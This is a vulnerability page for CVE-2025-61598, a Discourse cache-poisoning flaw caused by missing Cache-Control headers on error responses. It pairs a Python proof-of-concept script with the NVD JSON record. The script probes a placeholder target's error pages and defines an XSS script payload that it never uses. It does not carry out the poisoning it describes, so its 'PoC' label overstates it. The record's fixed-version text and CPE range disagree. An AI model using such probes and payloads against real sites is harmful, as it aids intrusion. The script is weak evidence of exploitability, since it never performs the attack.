CVE-2025-61598

# CVE-2025-61598 PoC - Discourse Cache Poisoning # This PoC demonstrates how missing Cache-Control headers can lead to cache poisoning import requests import time TARGET_URL = "https://vulnerable-discourse-instance.com" EVIL_PAYLOAD = "<script>alert('Cache Poisoned - XSS')</script>" def test_cache_poisoning(): """ Test for missing Cache-Control headers in error responses """ # Step 1: Trigger an error response print("[+] Step 1: Triggering error response...") error_urls = [ f"{TARGET_URL}/nonexistent-page-12345", f"{TARGET_URL}/?error_trigger=1", f"{TARGET_URL}/invalid/path/to/trigger/error" ] for url in error_urls: response = requests.get(url) cache_control = response.headers.get('Cache-Control', 'NOT SET') print(f" URL: {url}") print(f" Status: {response.status_code}") print(f" Cache-Control: {cache_control}") # Check if Cache-Control is missing or allows caching if 'no-store' not in cache_control.lower() or 'not set' in cache_control.lower(): print(f" [!] VULNERABLE: Cache-Control header missing or not set to 'no-store'") # Step 2: Simulate cache poisoning by injecting malicious content print("\n[+] Step 2: Simulating cache poisoning...") poisoned_url = f"{TARGET_URL}/error-page" # In real attack, attacker would poison the cache with malicious content # The proxy would cache this response without no-store directive # Step 3: Verify if subsequent requests get cached content print("[+] Step 3: Checking if response can be cached...") response1 = requests.get(poisoned_url) response2 = requests.get(poisoned_url) if response1.text == response2.text: print(" [i] Response is consistent - may be cached") print("\n[!] Note: Full exploitation requires proxy server interaction") print("[!] Attacker needs to poison the proxy cache with malicious content") if __name__ == "__main__": test_cache_poisoning()

{"cve": {"id": "CVE-2025-61598", "sourceIdentifier": "[email protected]", "published": "2025-10-28T21:15:40.110", "lastModified": "2025-12-03T16:31:01.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open source discussion platform. Version before 3.6.2 and 3.6.0.beta2, default Cache-Control response header with value no-store, no-cache was missing from error responses. This may caused unintended caching of those responses by proxies potentially leading to cache poisoning attacks. This vulnerability is fixed in 3.6.2 and 3.6.0.beta2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-524"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:stable:*:*:*", "versionEndExcluding": "3.5.2", "matchCriteriaId": "DEEB60B8-86DD-4EFF-962F-C44D9FBF6876"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:beta:*:*:*", "versionEndExcluding": "3.6.0", "matchCriteriaId": "4C433F55-3787-4B9E-8028-ED55F6B9056B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:3.6.0:beta1:*:*:beta:*:*:*", "matchCriteriaId": "C11E39E0-7F3D-4DBA-A8AD-7440BCEBB984"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/3ea1b663c82c067e5ca778db846bad1e082ba6cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/fd567af7bf5a15c70772021acbdf5d38487a31bc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-jp9x-wwv6-cv3j", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}